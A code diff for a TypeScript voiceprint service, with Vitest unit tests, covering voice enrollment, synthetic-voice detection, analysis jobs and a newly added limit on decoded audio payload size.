createdAt: new Date(),
|
||||
id: "ana-1",
|
||||
enrollmentId: null,
|
||||
userId: "user-1",
|
||||
audioHash: "audio-hash-1",
|
||||
isSynthetic: false,
|
||||
confidence: 0.95,
|
||||
analysisResult: { verdict: "NATURAL", score: 0.05, matchedSimilarity: null },
|
||||
audioUrl: "/uploads/voiceprint/user-1/audio-hash-1.wav",
|
||||
createdAt: new Date(),
|
||||
};
|
||||
|
||||
const mockJob = {
|
||||
id: "job-1",
|
||||
userId: "user-1",
|
||||
analysisType: "BATCH",
|
||||
audioFilePath: "/path/to/audio.wav",
|
||||
status: "PENDING",
|
||||
errorMessage: null,
|
||||
completedAt: null,
|
||||
createdAt: new Date(),
|
||||
id: "job-1",
|
||||
userId: "user-1",
|
||||
analysisType: "BATCH",
|
||||
audioFilePath: "/path/to/audio.wav",
|
||||
status: "PENDING",
|
||||
errorMessage: null,
|
||||
completedAt: null,
|
||||
createdAt: new Date(),
|
||||
};
|
||||
|
||||
const mockResult = {
|
||||
id: "res-1",
|
||||
analysisJobId: "job-1",
|
||||
syntheticScore: 0.1,
|
||||
verdict: "NATURAL",
|
||||
confidence: 0.95,
|
||||
processingTimeMs: 1500,
|
||||
matchedEnrollmentId: null,
|
||||
matchedSimilarity: null,
|
||||
modelVersion: "v1",
|
||||
createdAt: new Date(),
|
||||
id: "res-1",
|
||||
analysisJobId: "job-1",
|
||||
syntheticScore: 0.1,
|
||||
verdict: "NATURAL",
|
||||
confidence: 0.95,
|
||||
processingTimeMs: 1500,
|
||||
matchedEnrollmentId: null,
|
||||
matchedSimilarity: null,
|
||||
modelVersion: "v1",
|
||||
createdAt: new Date(),
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
describe("getEnrollments", () => {
|
||||
it("returns enrollments for the user", async () => {
|
||||
mockQueryResult.mockResolvedValueOnce([mockEnrollment]);
|
||||
it("returns enrollments for the user", async () => {
|
||||
mockQueryResult.mockResolvedValueOnce([mockEnrollment]);
|
||||
|
||||
const { getEnrollments } = await import("./voiceprint.service");
|
||||
const result = await getEnrollments("user-1");
|
||||
expect(result).toEqual([mockEnrollment]);
|
||||
});
|
||||
const { getEnrollments } = await import("./voiceprint.service");
|
||||
const result = await getEnrollments("user-1");
|
||||
expect(result).toEqual([mockEnrollment]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("createEnrollment", () => {
|
||||
it("saves audio and creates a DB record", async () => {
|
||||
vi.mocked(storage.saveAudio).mockResolvedValue({
|
||||
hash: "audio-hash",
|
||||
filePath: "/path/file.wav",
|
||||
});
|
||||
vi.mocked(ml.preprocessAudio).mockResolvedValue({
|
||||
duration: 2.5, sampleRate: 16000, channels: 1, rawPcm: Buffer.from("test"),
|
||||
});
|
||||
vi.mocked(ml.generateEmbedding).mockResolvedValue({
|
||||
vector: new Float64Array(256), hash: "embed-hash",
|
||||
});
|
||||
mockQueryResult.mockResolvedValueOnce([mockEnrollment]);
|
||||
it("saves audio and creates a DB record", async () => {
|
||||
vi.mocked(storage.saveAudio).mockResolvedValue({
|
||||
hash: "audio-hash",
|
||||
filePath: "/path/file.wav",
|
||||
});
|
||||
vi.mocked(ml.preprocessAudio).mockResolvedValue({
|
||||
duration: 2.5,
|
||||
sampleRate: 16000,
|
||||
channels: 1,
|
||||
rawPcm: Buffer.from("test"),
|
||||
});
|
||||
vi.mocked(ml.generateEmbedding).mockResolvedValue({
|
||||
vector: new Float64Array(256),
|
||||
hash: "embed-hash",
|
||||
});
|
||||
mockQueryResult.mockResolvedValueOnce([mockEnrollment]);
|
||||
|
||||
const { createEnrollment } = await import("./voiceprint.service");
|
||||
const result = await createEnrollment("user-1", "My Voice", "dGVzdC1hdWRpbw==");
|
||||
expect(result).toEqual(mockEnrollment);
|
||||
expect(storage.saveAudio).toHaveBeenCalledWith("user-1", Buffer.from("test-audio"));
|
||||
expect(ml.generateEmbedding).toHaveBeenCalled();
|
||||
});
|
||||
const { createEnrollment } = await import("./voiceprint.service");
|
||||
const result = await createEnrollment(
|
||||
"user-1",
|
||||
"My Voice",
|
||||
"dGVzdC1hdWRpbw==",
|
||||
);
|
||||
expect(result).toEqual(mockEnrollment);
|
||||
expect(storage.saveAudio).toHaveBeenCalledWith(
|
||||
"user-1",
|
||||
Buffer.from("test-audio"),
|
||||
);
|
||||
expect(ml.generateEmbedding).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("deleteEnrollment", () => {
|
||||
it("soft deletes enrollment and removes audio file", async () => {
|
||||
mockQueryResult
|
||||
.mockResolvedValueOnce([mockEnrollment])
|
||||
.mockResolvedValueOnce([{ ...mockEnrollment, isActive: false }]);
|
||||
it("soft deletes enrollment and removes audio file", async () => {
|
||||
mockQueryResult
|
||||
.mockResolvedValueOnce([mockEnrollment])
|
||||
.mockResolvedValueOnce([{ ...mockEnrollment, isActive: false }]);
|
||||
|
||||
const { deleteEnrollment } = await import("./voiceprint.service");
|
||||
const result = await deleteEnrollment("user-1", "enr-1");
|
||||
expect(result.isActive).toBe(false);
|
||||
expect(storage.deleteFile).toHaveBeenCalledWith("/some/path.wav");
|
||||
});
|
||||
const { deleteEnrollment } = await import("./voiceprint.service");
|
||||
const result = await deleteEnrollment("user-1", "enr-1");
|
||||
expect(result.isActive).toBe(false);
|
||||
expect(storage.deleteFile).toHaveBeenCalledWith("/some/path.wav");
|
||||
});
|
||||
|
||||
it("throws NOT_FOUND if enrollment does not belong to user", async () => {
|
||||
mockQueryResult.mockResolvedValueOnce([]);
|
||||
it("throws NOT_FOUND if enrollment does not belong to user", async () => {
|
||||
mockQueryResult.mockResolvedValueOnce([]);
|
||||
|
||||
const { deleteEnrollment } = await import("./voiceprint.service");
|
||||
await expect(deleteEnrollment("user-1", "nonexistent")).rejects.toThrow(TRPCError);
|
||||
});
|
||||
const { deleteEnrollment } = await import("./voiceprint.service");
|
||||
await expect(deleteEnrollment("user-1", "nonexistent")).rejects.toThrow(
|
||||
TRPCError,
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("analyzeAudio", () => {
|
||||
it("returns verdict and confidence for analysis", async () => {
|
||||
vi.mocked(storage.saveAudio).mockResolvedValue({
|
||||
hash: "audio-hash", filePath: "/path/file.wav",
|
||||
});
|
||||
vi.mocked(storage.getAudioUrl).mockReturnValue("/uploads/voiceprint/user-1/audio-hash.wav");
|
||||
vi.mocked(ml.preprocessAudio).mockResolvedValue({
|
||||
duration: 2.5, sampleRate: 16000, channels: 1, rawPcm: Buffer.from("test"),
|
||||
});
|
||||
vi.mocked(ml.detectSynthetic).mockResolvedValue({
|
||||
isSynthetic: false, confidence: 0.95, score: 0.05,
|
||||
});
|
||||
mockQueryResult.mockResolvedValueOnce([mockAnalysis]);
|
||||
it("returns verdict and confidence for analysis", async () => {
|
||||
vi.mocked(storage.saveAudio).mockResolvedValue({
|
||||
hash: "audio-hash",
|
||||
filePath: "/path/file.wav",
|
||||
});
|
||||
vi.mocked(storage.getAudioUrl).mockReturnValue(
|
||||
"/uploads/voiceprint/user-1/audio-hash.wav",
|
||||
);
|
||||
vi.mocked(ml.preprocessAudio).mockResolvedValue({
|
||||
duration: 2.5,
|
||||
sampleRate: 16000,
|
||||
channels: 1,
|
||||
rawPcm: Buffer.from("test"),
|
||||
});
|
||||
vi.mocked(ml.detectSynthetic).mockResolvedValue({
|
||||
isSynthetic: false,
|
||||
confidence: 0.95,
|
||||
score: 0.05,
|
||||
});
|
||||
mockQueryResult.mockResolvedValueOnce([mockAnalysis]);
|
||||
|
||||
const { analyzeAudio } = await import("./voiceprint.service");
|
||||
const result = await analyzeAudio("user-1", "dGVzdC1hdWRpbw==");
|
||||
expect(result.verdict).toBe("NATURAL");
|
||||
expect(result.confidence).toBe(0.95);
|
||||
expect(result.isSynthetic).toBe(false);
|
||||
expect(result.score).toBe(0.05);
|
||||
});
|
||||
const { analyzeAudio } = await import("./voiceprint.service");
|
||||
const result = await analyzeAudio("user-1", "dGVzdC1hdWRpbw==");
|
||||
expect(result.verdict).toBe("NATURAL");
|
||||
expect(result.confidence).toBe(0.95);
|
||||
expect(result.isSynthetic).toBe(false);
|
||||
expect(result.score).toBe(0.05);
|
||||
});
|
||||
});
|
||||
|
||||
describe("getAnalyses", () => {
|
||||
it("returns paginated analyses", async () => {
|
||||
mockQueryResult
|
||||
.mockResolvedValueOnce([{ count: 1 }])
|
||||
.mockResolvedValueOnce([mockAnalysis]);
|
||||
it("returns paginated analyses", async () => {
|
||||
mockQueryResult
|
||||
.mockResolvedValueOnce([{ count: 1 }])
|
||||
.mockResolvedValueOnce([mockAnalysis]);
|
||||
|
||||
const { getAnalyses } = await import("./voiceprint.service");
|
||||
const result = await getAnalyses("user-1", { page: 1, limit: 10 });
|
||||
expect(result.items).toEqual([mockAnalysis]);
|
||||
expect(result.total).toBe(1);
|
||||
expect(result.page).toBe(1);
|
||||
});
|
||||
const { getAnalyses } = await import("./voiceprint.service");
|
||||
const result = await getAnalyses("user-1", { page: 1, limit: 10 });
|
||||
expect(result.items).toEqual([mockAnalysis]);
|
||||
expect(result.total).toBe(1);
|
||||
expect(result.page).toBe(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe("getAnalysisResult", () => {
|
||||
it("returns detailed analysis", async () => {
|
||||
mockQueryResult.mockResolvedValueOnce([mockAnalysis]);
|
||||
it("returns detailed analysis", async () => {
|
||||
mockQueryResult.mockResolvedValueOnce([mockAnalysis]);
|
||||
|
||||
const { getAnalysisResult } = await import("./voiceprint.service");
|
||||
const result = await getAnalysisResult("user-1", "ana-1");
|
||||
expect(result).toEqual(mockAnalysis);
|
||||
});
|
||||
const { getAnalysisResult } = await import("./voiceprint.service");
|
||||
const result = await getAnalysisResult("user-1", "ana-1");
|
||||
expect(result).toEqual(mockAnalysis);
|
||||
});
|
||||
|
||||
it("throws NOT_FOUND for non-existent analysis", async () => {
|
||||
mockQueryResult.mockResolvedValueOnce([]);
|
||||
it("throws NOT_FOUND for non-existent analysis", async () => {
|
||||
mockQueryResult.mockResolvedValueOnce([]);
|
||||
|
||||
const { getAnalysisResult } = await import("./voiceprint.service");
|
||||
await expect(getAnalysisResult("user-1", "nonexistent")).rejects.toThrow(TRPCError);
|
||||
});
|
||||
const { getAnalysisResult } = await import("./voiceprint.service");
|
||||
await expect(getAnalysisResult("user-1", "nonexistent")).rejects.toThrow(
|
||||
TRPCError,
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("getJobStatus", () => {
|
||||
it("returns job status with result when completed", async () => {
|
||||
const completedJob = { ...mockJob, status: "COMPLETED" };
|
||||
mockQueryResult
|
||||
.mockResolvedValueOnce([completedJob])
|
||||
.mockResolvedValueOnce([mockResult]);
|
||||
it("returns job status with result when completed", async () => {
|
||||
const completedJob = { ...mockJob, status: "COMPLETED" };
|
||||
mockQueryResult
|
||||
.mockResolvedValueOnce([completedJob])
|
||||
.mockResolvedValueOnce([mockResult]);
|
||||
|
||||
const { getJobStatus } = await import("./voiceprint.service");
|
||||
const result = await getJobStatus("user-1", "job-1");
|
||||
expect(result.status).toBe("COMPLETED");
|
||||
expect(result.result).toEqual(mockResult);
|
||||
});
|
||||
const { getJobStatus } = await import("./voiceprint.service");
|
||||
const result = await getJobStatus("user-1", "job-1");
|
||||
expect(result.status).toBe("COMPLETED");
|
||||
expect(result.result).toEqual(mockResult);
|
||||
});
|
||||
|
||||
it("throws NOT_FOUND for non-existent job", async () => {
|
||||
mockQueryResult.mockResolvedValueOnce([]);
|
||||
it("throws NOT_FOUND for non-existent job", async () => {
|
||||
mockQueryResult.mockResolvedValueOnce([]);
|
||||
|
||||
const { getJobStatus } = await import("./voiceprint.service");
|
||||
await expect(getJobStatus("user-1", "nonexistent")).rejects.toThrow(TRPCError);
|
||||
});
|
||||
const { getJobStatus } = await import("./voiceprint.service");
|
||||
await expect(getJobStatus("user-1", "nonexistent")).rejects.toThrow(
|
||||
TRPCError,
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("createBatchJob", () => {
|
||||
it("creates a batch analysis job", async () => {
|
||||
mockQueryResult.mockResolvedValueOnce([mockJob]);
|
||||
it("creates a batch analysis job", async () => {
|
||||
mockQueryResult.mockResolvedValueOnce([mockJob]);
|
||||
|
||||
const { createBatchJob } = await import("./voiceprint.service");
|
||||
const result = await createBatchJob("user-1", "/path/to/audio.wav");
|
||||
expect(result.id).toBe("job-1");
|
||||
expect(result.analysisType).toBe("BATCH");
|
||||
expect(result.status).toBe("PENDING");
|
||||
});
|
||||
const { createBatchJob } = await import("./voiceprint.service");
|
||||
const result = await createBatchJob("user-1", "/path/to/audio.wav");
|
||||
expect(result.id).toBe("job-1");
|
||||
expect(result.analysisType).toBe("BATCH");
|
||||
expect(result.status).toBe("PENDING");
|
||||
});
|
||||
});
|
||||
|
||||
describe("VoicePrint size limits", () => {
|
||||
it("rejects createEnrollment with oversized base64 payload", async () => {
|
||||
// ~3MB base64 → ~2.25MB decoded (exceeds 2MB limit)
|
||||
const largeAudio = "A".repeat(3_000_000);
|
||||
|
||||
const { createEnrollment } = await import("./voiceprint.service");
|
||||
await expect(
|
||||
createEnrollment("user-1", "My Voice", largeAudio),
|
||||
).rejects.toThrow(TRPCError);
|
||||
});
|
||||
|
||||
it("rejects analyzeAudio with oversized base64 payload", async () => {
|
||||
const largeAudio = "A".repeat(3_000_000);
|
||||
|
||||
const { analyzeAudio } = await import("./voiceprint.service");
|
||||
await expect(analyzeAudio("user-1", largeAudio)).rejects.toThrow(TRPCError);
|
||||
});
|
||||
|
||||
it("accepts createEnrollment with valid-sized payload", async () => {
|
||||
vi.mocked(storage.saveAudio).mockResolvedValue({
|
||||
hash: "audio-hash",
|
||||
filePath: "/path/file.wav",
|
||||
});
|
||||
vi.mocked(ml.preprocessAudio).mockResolvedValue({
|
||||
duration: 2.5,
|
||||
sampleRate: 16000,
|
||||
channels: 1,
|
||||
rawPcm: Buffer.from("test"),
|
||||
});
|
||||
vi.mocked(ml.generateEmbedding).mockResolvedValue({
|
||||
vector: new Float64Array(256),
|
||||
hash: "embed-hash",
|
||||
});
|
||||
mockQueryResult.mockResolvedValueOnce([mockEnrollment]);
|
||||
|
||||
const { createEnrollment } = await import("./voiceprint.service");
|
||||
const result = await createEnrollment(
|
||||
"user-1",
|
||||
"My Voice",
|
||||
"dGVzdC1hdWRpby1iYXNlNjQ=",
|
||||
);
|
||||
expect(result).toEqual(mockEnrollment);
|
||||
});
|
||||
|
||||
it("accepts analyzeAudio with valid-sized payload", async () => {
|
||||
vi.mocked(storage.saveAudio).mockResolvedValue({
|
||||
hash: "audio-hash",
|
||||
filePath: "/path/file.wav",
|
||||
});
|
||||
vi.mocked(storage.getAudioUrl).mockReturnValue(
|
||||
"/uploads/voiceprint/user-1/audio-hash.wav",
|
||||
);
|
||||
vi.mocked(ml.preprocessAudio).mockResolvedValue({
|
||||
duration: 2.5,
|
||||
sampleRate: 16000,
|
||||
channels: 1,
|
||||
rawPcm: Buffer.from("test"),
|
||||
});
|
||||
vi.mocked(ml.detectSynthetic).mockResolvedValue({
|
||||
isSynthetic: false,
|
||||
confidence: 0.95,
|
||||
score: 0.05,
|
||||
});
|
||||
mockQueryResult.mockResolvedValueOnce([mockAnalysis]);
|
||||
|
||||
const { analyzeAudio } = await import("./voiceprint.service");
|
||||
const result = await analyzeAudio("user-1", "dGVzdC1hdWRpby1iYXNlNjQ=");
|
||||
expect(result.verdict).toBe("NATURAL");
|
||||
expect(result.confidence).toBe(0.95);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -2,298 +2,346 @@ import { TRPCError } from "@trpc/server";
|
||||
import { eq, and, desc, count } from "drizzle-orm";
|
||||
import { db } from "~/server/db";
|
||||
import {
|
||||
voiceEnrollments,
|
||||
voiceAnalyses,
|
||||
analysisJobs,
|
||||
analysisResults,
|
||||
subscriptions,
|
||||
normalizedAlerts,
|
||||
voiceEnrollments,
|
||||
voiceAnalyses,
|
||||
analysisJobs,
|
||||
analysisResults,
|
||||
subscriptions,
|
||||
normalizedAlerts,
|
||||
} from "~/server/db/schema";
|
||||
import { saveAudio, getAudioUrl, deleteFile } from "./voiceprint/storage";
|
||||
import { publishAlert } from "~/server/services/alert.publisher";
|
||||
import {
|
||||
preprocessAudio,
|
||||
detectSynthetic,
|
||||
matchVoice,
|
||||
generateEmbedding,
|
||||
preprocessAudio,
|
||||
detectSynthetic,
|
||||
matchVoice,
|
||||
generateEmbedding,
|
||||
} from "./voiceprint/ml.engine";
|
||||
|
||||
type DetectionVerdict = "NATURAL" | "SYNTHETIC" | "UNCERTAIN";
|
||||
|
||||
/** Maximum decoded audio size in bytes (default 2MB). */
|
||||
const MAX_DECODED_SIZE = parseInt(
|
||||
process.env.VOICEPRINT_MAX_DECODED_SIZE ?? "2097152",
|
||||
10,
|
||||
);
|
||||
|
||||
/**
|
||||
* Validates that a base64 string won't exceed the memory limit when decoded.
|
||||
* Base64 decodes to ~75% of its encoded length (4/3 ratio).
|
||||
*/
|
||||
function validateDecodedSize(base64String: string): void {
|
||||
const estimatedDecodedSize = Math.ceil(base64String.length * 0.75);
|
||||
if (estimatedDecodedSize > MAX_DECODED_SIZE) {
|
||||
throw new TRPCError({
|
||||
code: "PAYLOAD_TOO_LARGE",
|
||||
message: `Audio payload too large. Maximum ${MAX_DECODED_SIZE} bytes decoded (~${(MAX_DECODED_SIZE / 1024 / 1024).toFixed(0)}MB). Received ~${(estimatedDecodedSize / 1024 / 1024).toFixed(0)}MB decoded.`,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
interface AnalysisFilters {
|
||||
page?: number;
|
||||
limit?: number;
|
||||
verdict?: DetectionVerdict;
|
||||
page?: number;
|
||||
limit?: number;
|
||||
verdict?: DetectionVerdict;
|
||||
}
|
||||
|
||||
export async function getEnrollments(userId: string) {
|
||||
return db
|
||||
.select()
|
||||
.from(voiceEnrollments)
|
||||
.where(and(eq(voiceEnrollments.userId, userId), eq(voiceEnrollments.isActive, true)))
|
||||
.orderBy(desc(voiceEnrollments.createdAt));
|
||||
return db
|
||||
.select()
|
||||
.from(voiceEnrollments)
|
||||
.where(
|
||||
and(
|
||||
eq(voiceEnrollments.userId, userId),
|
||||
eq(voiceEnrollments.isActive, true),
|
||||
),
|
||||
)
|
||||
.orderBy(desc(voiceEnrollments.createdAt));
|
||||
}
|
||||
|
||||
export async function createEnrollment(userId: string, name: string, audioBase64: string) {
|
||||
const audioBuffer = Buffer.from(audioBase64, "base64");
|
||||
const { hash, filePath } = await saveAudio(userId, audioBuffer);
|
||||
export async function createEnrollment(
|
||||
userId: string,
|
||||
name: string,
|
||||
audioBase64: string,
|
||||
) {
|
||||
validateDecodedSize(audioBase64);
|
||||
const audioBuffer = Buffer.from(audioBase64, "base64");
|
||||
const { hash: _hash, filePath } = await saveAudio(userId, audioBuffer);
|
||||
|
||||
const features = await preprocessAudio(audioBuffer);
|
||||
const embedding = await generateEmbedding(features);
|
||||
const features = await preprocessAudio(audioBuffer);
|
||||
const embedding = await generateEmbedding(features);
|
||||
|
||||
const [enrollment] = await db
|
||||
.insert(voiceEnrollments)
|
||||
.values({
|
||||
userId,
|
||||
name,
|
||||
voiceHash: embedding.hash,
|
||||
audioMetadata: { filePath, duration: features.duration, sampleRate: features.sampleRate },
|
||||
})
|
||||
.returning();
|
||||
const [enrollment] = await db
|
||||
.insert(voiceEnrollments)
|
||||
.values({
|
||||
userId,
|
||||
name,
|
||||
voiceHash: embedding.hash,
|
||||
audioMetadata: {
|
||||
filePath,
|
||||
duration: features.duration,
|
||||
sampleRate: features.sampleRate,
|
||||
},
|
||||
})
|
||||
.returning();
|
||||
|
||||
return enrollment;
|
||||
return enrollment;
|
||||
}
|
||||
|
||||
export async function deleteEnrollment(userId: string, enrollmentId: string) {
|
||||
const [enrollment] = await db
|
||||
.select()
|
||||
.from(voiceEnrollments)
|
||||
.where(and(eq(voiceEnrollments.id, enrollmentId), eq(voiceEnrollments.userId, userId)))
|
||||
.limit(1);
|
||||
const [enrollment] = await db
|
||||
.select()
|
||||
.from(voiceEnrollments)
|
||||
.where(
|
||||
and(
|
||||
eq(voiceEnrollments.id, enrollmentId),
|
||||
eq(voiceEnrollments.userId, userId),
|
||||
),
|
||||
)
|
||||
.limit(1);
|
||||
|
||||
if (!enrollment) {
|
||||
throw new TRPCError({ code: "NOT_FOUND", message: "Enrollment not found" });
|
||||
}
|
||||
if (!enrollment) {
|
||||
throw new TRPCError({ code: "NOT_FOUND", message: "Enrollment not found" });
|
||||
}
|
||||
|
||||
const metadata = enrollment.audioMetadata as { filePath?: string } | null;
|
||||
if (metadata?.filePath) {
|
||||
await deleteFile(metadata.filePath);
|
||||
}
|
||||
const metadata = enrollment.audioMetadata as { filePath?: string } | null;
|
||||
if (metadata?.filePath) {
|
||||
await deleteFile(metadata.filePath);
|
||||
}
|
||||
|
||||
const [deleted] = await db
|
||||
.update(voiceEnrollments)
|
||||
.set({ isActive: false, updatedAt: new Date() })
|
||||
.where(eq(voiceEnrollments.id, enrollmentId))
|
||||
.returning();
|
||||
const [deleted] = await db
|
||||
.update(voiceEnrollments)
|
||||
.set({ isActive: false, updatedAt: new Date() })
|
||||
.where(eq(voiceEnrollments.id, enrollmentId))
|
||||
.returning();
|
||||
|
||||
return deleted;
|
||||
return deleted;
|
||||
}
|
||||
|
||||
function deriveVerdict(isSynthetic: boolean, confidence: number): DetectionVerdict {
|
||||
if (confidence >= 0.7) {
|
||||
return isSynthetic ? "SYNTHETIC" : "NATURAL";
|
||||
}
|
||||
return "UNCERTAIN";
|
||||
function deriveVerdict(
|
||||
isSynthetic: boolean,
|
||||
confidence: number,
|
||||
): DetectionVerdict {
|
||||
if (confidence >= 0.7) {
|
||||
return isSynthetic ? "SYNTHETIC" : "NATURAL";
|
||||
}
|
||||
return "UNCERTAIN";
|
||||
}
|
||||
|
||||
async function createVoiceAlert(
|
||||
userId: string,
|
||||
analysisId: string,
|
||||
verdict: DetectionVerdict,
|
||||
confidence: number,
|
||||
userId: string,
|
||||
analysisId: string,
|
||||
verdict: DetectionVerdict,
|
||||
confidence: number,
|
||||
) {
|
||||
try {
|
||||
const [sub] = await db
|
||||
.select()
|
||||
.from(subscriptions)
|
||||
.where(eq(subscriptions.userId, userId))
|
||||
.limit(1);
|
||||
try {
|
||||
const [sub] = await db
|
||||
.select()
|
||||
.from(subscriptions)
|
||||
.where(eq(subscriptions.userId, userId))
|
||||
.limit(1);
|
||||
|
||||
if (sub) {
|
||||
const category = verdict === "SYNTHETIC" ? "SYNTHETIC_VOICE" : "VOICE_MISMATCH";
|
||||
const title = verdict === "SYNTHETIC" ? "Synthetic Voice Detected" : "Voice Mismatch Detected";
|
||||
const description = `Analysis ${analysisId} returned verdict ${verdict} with ${(confidence * 100).toFixed(1)}% confidence`;
|
||||
if (sub) {
|
||||
const category =
|
||||
verdict === "SYNTHETIC" ? "SYNTHETIC_VOICE" : "VOICE_MISMATCH";
|
||||
const title =
|
||||
verdict === "SYNTHETIC"
|
||||
? "Synthetic Voice Detected"
|
||||
: "Voice Mismatch Detected";
|
||||
const description = `Analysis ${analysisId} returned verdict ${verdict} with ${(confidence * 100).toFixed(1)}% confidence`;
|
||||
|
||||
const [alert] = await db
|
||||
.insert(normalizedAlerts)
|
||||
.values({
|
||||
source: "VOICEPRINT",
|
||||
category,
|
||||
severity: verdict === "SYNTHETIC" ? "HIGH" : "MEDIUM",
|
||||
userId,
|
||||
title,
|
||||
description,
|
||||
entities: { analysisId, verdict, confidence },
|
||||
sourceAlertId: `voiceprint-${analysisId}`,
|
||||
createdAt: new Date(),
|
||||
})
|
||||
.returning();
|
||||
const [alert] = await db
|
||||
.insert(normalizedAlerts)
|
||||
.values({
|
||||
source: "VOICEPRINT",
|
||||
category,
|
||||
severity: verdict === "SYNTHETIC" ? "HIGH" : "MEDIUM",
|
||||
userId,
|
||||
title,
|
||||
description,
|
||||
entities: { analysisId, verdict, confidence },
|
||||
sourceAlertId: `voiceprint-${analysisId}`,
|
||||
createdAt: new Date(),
|
||||
})
|
||||
.returning();
|
||||
|
||||
publishAlert(userId, {
|
||||
id: alert.id,
|
||||
title,
|
||||
message: description,
|
||||
severity: verdict === "SYNTHETIC" ? "HIGH" : "MEDIUM",
|
||||
source: "VOICEPRINT",
|
||||
category,
|
||||
createdAt: alert.createdAt,
|
||||
}).catch((err) => console.error("[voiceprint] Failed to publish alert:", err));
|
||||
}
|
||||
} catch (err) {
|
||||
console.error("[voiceprint] Failed to create alert:", err);
|
||||
}
|
||||
publishAlert(userId, {
|
||||
id: alert.id,
|
||||
title,
|
||||
message: description,
|
||||
severity: verdict === "SYNTHETIC" ? "HIGH" : "MEDIUM",
|
||||
source: "VOICEPRINT",
|
||||
category,
|
||||
createdAt: alert.createdAt,
|
||||
}).catch((err) =>
|
||||
console.error("[voiceprint] Failed to publish alert:", err),
|
||||
);
|
||||
}
|
||||
} catch (err) {
|
||||
console.error("[voiceprint] Failed to create alert:", err);
|
||||
}
|
||||
}
|
||||
|
||||
export async function analyzeAudio(
|
||||
userId: string,
|
||||
audioBase64: string,
|
||||
enrollmentId?: string,
|
||||
userId: string,
|
||||
audioBase64: string,
|
||||
enrollmentId?: string,
|
||||
) {
|
||||
const audioBuffer = Buffer.from(audioBase64, "base64");
|
||||
const { hash: audioHash, filePath } = await saveAudio(userId, audioBuffer);
|
||||
validateDecodedSize(audioBase64);
|
||||
const audioBuffer = Buffer.from(audioBase64, "base64");
|
||||
const { hash: audioHash } = await saveAudio(userId, audioBuffer);
|
||||
|
||||
const features = await preprocessAudio(audioBuffer);
|
||||
const detection = await detectSynthetic(features);
|
||||
const audioUrl = getAudioUrl(userId, audioHash);
|
||||
const features = await preprocessAudio(audioBuffer);
|
||||
const detection = await detectSynthetic(features);
|
||||
const audioUrl = getAudioUrl(userId, audioHash);
|
||||
|
||||
let matchedEnrollmentId: string | null = null;
|
||||
let matchedSimilarity: number | null = null;
|
||||
let matchedEnrollmentId: string | null = null;
|
||||
let matchedSimilarity: number | null = null;
|
||||
|
||||
if (enrollmentId) {
|
||||
const [enrollment] = await db
|
||||
.select()
|
||||
.from(voiceEnrollments)
|
||||
.where(
|
||||
and(
|
||||
eq(voiceEnrollments.id, enrollmentId),
|
||||
eq(voiceEnrollments.userId, userId),
|
||||
eq(voiceEnrollments.isActive, true),
|
||||
),
|
||||
)
|
||||
.limit(1);
|
||||
if (enrollmentId) {
|
||||
const [enrollment] = await db
|
||||
.select()
|
||||
.from(voiceEnrollments)
|
||||
.where(
|
||||
and(
|
||||
eq(voiceEnrollments.id, enrollmentId),
|
||||
eq(voiceEnrollments.userId, userId),
|
||||
eq(voiceEnrollments.isActive, true),
|
||||
),
|
||||
)
|
||||
.limit(1);
|
||||
|
||||
if (enrollment) {
|
||||
const embedding = await generateEmbedding(features);
|
||||
const match = await matchVoice(embedding, enrollmentId);
|
||||
matchedEnrollmentId = enrollmentId;
|
||||
matchedSimilarity = match.similarity;
|
||||
}
|
||||
}
|
||||
if (enrollment) {
|
||||
const embedding = await generateEmbedding(features);
|
||||
const match = await matchVoice(embedding, enrollmentId);
|
||||
matchedEnrollmentId = enrollmentId;
|
||||
matchedSimilarity = match.similarity;
|
||||
}
|
||||
}
|
||||
|
||||
const isSynthetic = detection.isSynthetic;
|
||||
const confidence = detection.confidence;
|
||||
const verdict = deriveVerdict(isSynthetic, confidence);
|
||||
const isSynthetic = detection.isSynthetic;
|
||||
const confidence = detection.confidence;
|
||||
const verdict = deriveVerdict(isSynthetic, confidence);
|
||||
|
||||
const [analysis] = await db
|
||||
.insert(voiceAnalyses)
|
||||
.values({
|
||||
enrollmentId: matchedEnrollmentId ?? undefined,
|
||||
userId,
|
||||
audioHash,
|
||||
isSynthetic,
|
||||
confidence,
|
||||
analysisResult: { verdict, score: detection.score, matchedSimilarity },
|
||||
audioUrl,
|
||||
})
|
||||
.returning();
|
||||
const [analysis] = await db
|
||||
.insert(voiceAnalyses)
|
||||
.values({
|
||||
enrollmentId: matchedEnrollmentId ?? undefined,
|
||||
userId,
|
||||
audioHash,
|
||||
isSynthetic,
|
||||
confidence,
|
||||
analysisResult: { verdict, score: detection.score, matchedSimilarity },
|
||||
audioUrl,
|
||||
})
|
||||
.returning();
|
||||
|
||||
if (verdict === "SYNTHETIC" || matchedSimilarity !== null) {
|
||||
await createVoiceAlert(userId, analysis.id, verdict, confidence);
|
||||
}
|
||||
if (verdict === "SYNTHETIC" || matchedSimilarity !== null) {
|
||||
await createVoiceAlert(userId, analysis.id, verdict, confidence);
|
||||
}
|
||||
|
||||
return {
|
||||
id: analysis.id,
|
||||
verdict,
|
||||
confidence,
|
||||
isSynthetic,
|
||||
score: detection.score,
|
||||
matchedEnrollmentId,
|
||||
matchedSimilarity,
|
||||
audioUrl,
|
||||
createdAt: analysis.createdAt,
|
||||
};
|
||||
return {
|
||||
id: analysis.id,
|
||||
verdict,
|
||||
confidence,
|
||||
isSynthetic,
|
||||
score: detection.score,
|
||||
matchedEnrollmentId,
|
||||
matchedSimilarity,
|
||||
audioUrl,
|
||||
createdAt: analysis.createdAt,
|
||||
};
|
||||
}
|
||||
|
||||
export async function getAnalyses(
|
||||
userId: string,
|
||||
filters?: AnalysisFilters,
|
||||
) {
|
||||
const page = filters?.page ?? 1;
|
||||
const limit = filters?.limit ?? 20;
|
||||
const offset = (page - 1) * limit;
|
||||
export async function getAnalyses(userId: string, filters?: AnalysisFilters) {
|
||||
const page = filters?.page ?? 1;
|
||||
const limit = filters?.limit ?? 20;
|
||||
const offset = (page - 1) * limit;
|
||||
|
||||
